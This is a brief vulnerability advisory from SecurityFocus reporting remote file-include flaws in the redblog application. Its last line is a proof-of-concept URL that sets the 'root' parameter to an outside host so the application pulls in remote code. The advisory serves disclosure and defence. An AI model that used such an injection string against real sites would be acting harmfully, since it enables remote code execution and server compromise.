source: http://www.securityfocus.com/bid/20115/info

The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/imgen.php?root=http://www.example.com